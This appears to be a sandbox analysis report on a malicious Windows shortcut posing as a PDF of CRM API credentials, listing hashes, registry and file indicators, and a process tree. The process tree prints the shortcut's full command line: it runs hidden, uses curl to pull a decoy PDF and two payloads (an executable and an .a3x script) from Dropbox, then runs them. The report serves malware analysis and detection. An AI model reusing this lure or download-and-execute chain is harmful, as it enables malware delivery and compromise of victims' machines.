a685f5dfd7be0e49e9289fd7d80db57b2f7731bfe43f51258f320ee80c100b51

Analysis

max time kernel
148s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260617-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/06/2026, 21:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ProfitInvext_CRM_API_Credentials.pdf.lnk
Size 2KB
Sample260620-1ae4msax8y
SHA256 a685f5dfd7be0e49e9289fd7d80db57b2f7731bfe43f51258f320ee80c100b51
MD5 783b850bb684b0299f98d72b8ce8f528
SHA1 b8eafcf3d0b488918201c179fd58a3edd3fd6d19
SHA512 a1da7510817462579b99e12c2e81b1efc0d0806afc215046d057be994b0a4dc2a19c5af6b0507e32b4f498bcb2a07a4aa411a6a319caaac25d6b449308edceb9
TLSH
T1D0515B147FF61321F3B2AEB998B95351A8777996EE318B0D006107491463F41DD72F2B
MD5 SHA1 SHA512 TLSH

Score

4^/10

discovery

Malware Config

Signatures

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1609421766\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1412348096\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1412348096\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1412348096\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1101654466\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1101654466\manifest.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1515410740\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1722522075\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1412348096\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1101654466\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1101654466\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1722522075\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1376_1609421766\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2236	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134264644289905105"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	cmd.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-28459746-3881314244-166055492-1000\{9CC87DD9-6528-4DA4-ADAE-8EEBF6E24984}	msedge.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3988	msedge.exe
3988	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
1376	msedge.exe
1376	msedge.exe
1376	msedge.exe
1376	msedge.exe
1376	msedge.exe
1376	msedge.exe
1376	msedge.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1376	msedge.exe

Suspicious use of WriteProcessMemory 58 IoCs

description	pid	Process	procid_target
PID 1884 wrote to memory of 2824	1884	cmd.exe	89
PID 2824 wrote to memory of 1436	2824	conhost.exe	90
PID 1436 wrote to memory of 2084	1436	cmd.exe	91
PID 1436 wrote to memory of 1376	1436	cmd.exe	92
PID 1436 wrote to memory of 2276	1436	cmd.exe	93
PID 1376 wrote to memory of 1828	1376	msedge.exe	94
PID 1376 wrote to memory of 1260	1376	msedge.exe	95
PID 1376 wrote to memory of 2236	1376	msedge.exe	96
PID 1376 wrote to memory of 1260	1376	msedge.exe	95
PID 1376 wrote to memory of 1260	1376	msedge.exe	95
PID 1376 wrote to memory of 3564	1376	msedge.exe	97
PID 1376 wrote to memory of 3564	1376	msedge.exe	97
PID 1376 wrote to memory of 1620	1376	msedge.exe	99
PID 1376 wrote to memory of 1620	1376	msedge.exe	99
PID 1376 wrote to memory of 1620	1376	msedge.exe	99
PID 1376 wrote to memory of 2472	1376	msedge.exe	100
PID 1376 wrote to memory of 2472	1376	msedge.exe	100
PID 1376 wrote to memory of 2472	1376	msedge.exe	100
PID 1376 wrote to memory of 2912	1376	msedge.exe	101
PID 1376 wrote to memory of 4640	1376	msedge.exe	102
PID 1376 wrote to memory of 2912	1376	msedge.exe	101
PID 1376 wrote to memory of 2912	1376	msedge.exe	101
PID 1376 wrote to memory of 4640	1376	msedge.exe	102
PID 1376 wrote to memory of 4640	1376	msedge.exe	102
PID 1376 wrote to memory of 2384	1376	msedge.exe	103
PID 1376 wrote to memory of 2384	1376	msedge.exe	103
PID 1376 wrote to memory of 2384	1376	msedge.exe	103
PID 1376 wrote to memory of 5624	1376	msedge.exe	104
PID 1376 wrote to memory of 5624	1376	msedge.exe	104
PID 1376 wrote to memory of 5624	1376	msedge.exe	104
PID 1376 wrote to memory of 4572	1376	msedge.exe	105
PID 1376 wrote to memory of 4572	1376	msedge.exe	105
PID 1436 wrote to memory of 2460	1436	cmd.exe	107
PID 1376 wrote to memory of 2728	1376	msedge.exe	108
PID 1376 wrote to memory of 3988	1376	msedge.exe	109
PID 1376 wrote to memory of 2728	1376	msedge.exe	108
PID 1376 wrote to memory of 3988	1376	msedge.exe	109
PID 1376 wrote to memory of 240	1376	msedge.exe	111
PID 1376 wrote to memory of 2348	1376	msedge.exe	112
PID 1376 wrote to memory of 2348	1376	msedge.exe	112
PID 1376 wrote to memory of 2980	1376	msedge.exe	113
PID 1376 wrote to memory of 2980	1376	msedge.exe	113
PID 1376 wrote to memory of 2900	1376	msedge.exe	117
PID 1376 wrote to memory of 1424	1376	msedge.exe	118
PID 1376 wrote to memory of 3408	1376	msedge.exe	119
PID 1376 wrote to memory of 3464	1376	msedge.exe	120
PID 1376 wrote to memory of 3464	1376	msedge.exe	120
PID 1376 wrote to memory of 4864	1376	msedge.exe	124
PID 1376 wrote to memory of 4864	1376	msedge.exe	124
PID 1376 wrote to memory of 3380	1376	msedge.exe	125
PID 1376 wrote to memory of 3380	1376	msedge.exe	125
PID 1376 wrote to memory of 2356	1376	msedge.exe	126
PID 1376 wrote to memory of 2356	1376	msedge.exe	126
PID 1376 wrote to memory of 3988	1376	msedge.exe	127
PID 1376 wrote to memory of 5900	1376	msedge.exe	128
PID 1376 wrote to memory of 5900	1376	msedge.exe	128
PID 1376 wrote to memory of 1776	1376	msedge.exe	129
PID 1376 wrote to memory of 1776	1376	msedge.exe	129

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ProfitInvext_CRM_API_Credentials.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1884
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe" --headless -- cmd.exe /c curl.exe -L -o "C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf" https://www.dropbox.com/scl/fi/1l0ln3q26aokliu7vh485/ProfitInvext_CRM_API_Credentials.pdf?rlkey=4s67lily2p66ybrcmic5djr8b^&dl=1 & start "" "C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf" & curl.exe -L -o "C:\Users\Public\a.exe" https://www.dropbox.com/scl/fi/6hdznqmjk52rscehgncju/a_1781683856_7035.exe?rlkey=of44uqq8s09v9rccqkr35519i^&dl=1 & curl.exe -L -o "C:\Users\Public\P.a3x" https://www.dropbox.com/scl/fi/1xzldxnds9v1sroc6q5k1/P_1781683856_7035.a3x?rlkey=ed72369kia41dhlsh3lhw5vu7^&dl=1 & cd /d "C:\Users\Public" & a.exe P.a3x
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\cmd.exe
    cmd.exe /c curl.exe -L -o C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf https://www.dropbox.com/scl/fi/1l0ln3q26aokliu7vh485/ProfitInvext_CRM_API_Credentials.pdf?rlkey=4s67lily2p66ybrcmic5djr8b^&dl=1 & start "" C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf & curl.exe -L -o C:\Users\Public\a.exe https://www.dropbox.com/scl/fi/6hdznqmjk52rscehgncju/a_1781683856_7035.exe?rlkey=of44uqq8s09v9rccqkr35519i^&dl=1 & curl.exe -L -o C:\Users\Public\P.a3x https://www.dropbox.com/scl/fi/1xzldxnds9v1sroc6q5k1/P_1781683856_7035.a3x?rlkey=ed72369kia41dhlsh3lhw5vu7^&dl=1 & cd /d C:\Users\Public & a.exe P.a3x
    3⤵
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:1436
  - - C:\Windows\system32\curl.exe
      curl.exe -L -o C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf https://www.dropbox.com/scl/fi/1l0ln3q26aokliu7vh485/ProfitInvext_CRM_API_Credentials.pdf?rlkey=4s67lily2p66ybrcmic5djr8b&dl=1
      4⤵
      PID:2084
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Documents\ProfitInvext_CRM_API_Credentials.pdf
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:1376
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x394,0x7ff8ced7c188,0x7ff8ced7c194,0x7ff8ced7c1a0
        5⤵
        
        PID:1828
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1680,i,4860879558502064548,8287213355354022186,262144 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=2344 /prefetch:2
        5⤵
        
        PID:1260
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1908,i,8666091685989404442,12065168380704675209,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=2420 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2236
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2456,i,7449067785366662533,12808510082260195556,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=2980 /prefetch:13
        5⤵
        
        PID:3564
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3544,i,13892614331791968107,18107162732321207962,2097152 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=3616 /prefetch:1
        5⤵
        
        PID:1620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3548,i,712045117811703567,6537341868131473436,2097152 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
        5⤵
        
        PID:2472
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4284,i,10148767726601880718,2989731896434363626,2097152 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:9
        5⤵
        
        PID:2912
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4280,i,14626500202627007285,10669448231433352745,2097152 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=1672 /prefetch:1
        5⤵
        
        PID:4640
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=3668,i,5991502191450675843,10145603584560305163,2097152 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=3724 /prefetch:9
        5⤵
        
        PID:2384
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5416,i,16680276113090999369,11206264337189779188,2097152 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=5392 /prefetch:15
        5⤵
        
        PID:5624
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5664,i,5234499690868822409,5712036634165491627,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:14
        5⤵
        
        PID:4572
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5756,i,1074651966261128093,15408012997822230710,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
        5⤵
        
        PID:2728
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5720,i,171595919990191635,14192014070299760172,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=5776 /prefetch:14
        5⤵
        
        PID:3988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,16149174235953632556,17229480895791556885,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:14
        5⤵
        
        PID:3408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6368,i,16149174235953632556,17229480895791556885,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6380 /prefetch:14
        5⤵
        
        PID:240
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6588,i,7175851254532120991,12092180821073132080,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6628 /prefetch:14
        5⤵
        
        PID:2348
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6648,i,2092788947457453668,17685141836179985251,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6624 /prefetch:14
        5⤵
        
        PID:2980
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4452,i,4121206157567574838,13067141526449737950,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=4760 /prefetch:14
        5⤵
        
        PID:2900
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4752,i,1538538365441285566,15875506586633216874,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:14
        5⤵
        
        PID:1424
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5256,i,13612608081374084268,6886917412273001956,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6688 /prefetch:14
        5⤵
        
        PID:3408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6056,i,2860305574768729833,14211193094536785556,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
        5⤵
        
        PID:3464
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5900,i,2932726885061581047,6398143104248573773,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6572 /prefetch:14
        5⤵
        
        PID:4864
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6984,i,10350785616630716319,6086360832676105127,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6564 /prefetch:14
        5⤵
        
        PID:3380
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6760,i,17862653608874004413,16982102557321883673,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=7112 /prefetch:14
        5⤵
        
        PID:2356
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=7092,i,1944883708545600125,17568385130537891606,262144 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3988
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6544,i,18293673600815852312,9996513512516566660,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=5896 /prefetch:14
        5⤵
        
        PID:5900
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6404,i,7013090002990150666,1661248380799109372,524288 --field-trial-handle=2348,i,3863625234443085423,15344484184642562692,262144 --variations-seed-version --mojo-platform-channel-handle=6516 /prefetch:14
        5⤵
        
        PID:1776
  - - C:\Windows\system32\curl.exe
      curl.exe -L -o C:\Users\Public\a.exe https://www.dropbox.com/scl/fi/6hdznqmjk52rscehgncju/a_1781683856_7035.exe?rlkey=of44uqq8s09v9rccqkr35519i&dl=1
      4⤵
      PID:2276
  - - C:\Windows\system32\curl.exe
      curl.exe -L -o C:\Users\Public\P.a3x https://www.dropbox.com/scl/fi/1xzldxnds9v1sroc6q5k1/P_1781683856_7035.a3x?rlkey=ed72369kia41dhlsh3lhw5vu7&dl=1
      4⤵
      PID:2460

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:2744

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b778cc535cfe9ef8131b9d727f221c5d63c7f15bcd4cd19db345f2c97bdf5594
MD5 a4b8f3b6133ca4686118d40b6c8d4ea7
SHA1 cbca41492cec17181764c1371da84a0e0481f93f
SHA512 65135f099a2e372c9a11538ad8ff73abdfa24612895545773034b613318a9166b5560e41026d2ec245dda6b088efde1566126dae35182ddcb3fe795a786554ad
TLSH
T1B7D0C0743F42F108C04904F08534EF101337B81230839900F070C80E84E40C0A3C9053
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 b4edbbe62f29386512f6cd1726c675b23fdeee21a26a2896a394ff9b87143167
MD5 c0060c375421fc206e85d98fc2ea6677
SHA1 2189b0dd881564dfef39585cc2cffda4dcd3ec91
SHA512 338dc8a4791fbbe759582d4a8fd55c1a6245fcc722bff11ff926118daa91041d62e98b05cb2e63b22ea119d41a557c511dcfb12592ab416dab9980af0b5ca713
TLSH
T1F2D0C0703F42F008C04904F08534EF101337B81230839900F170C80E84E40C0A3C8043
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
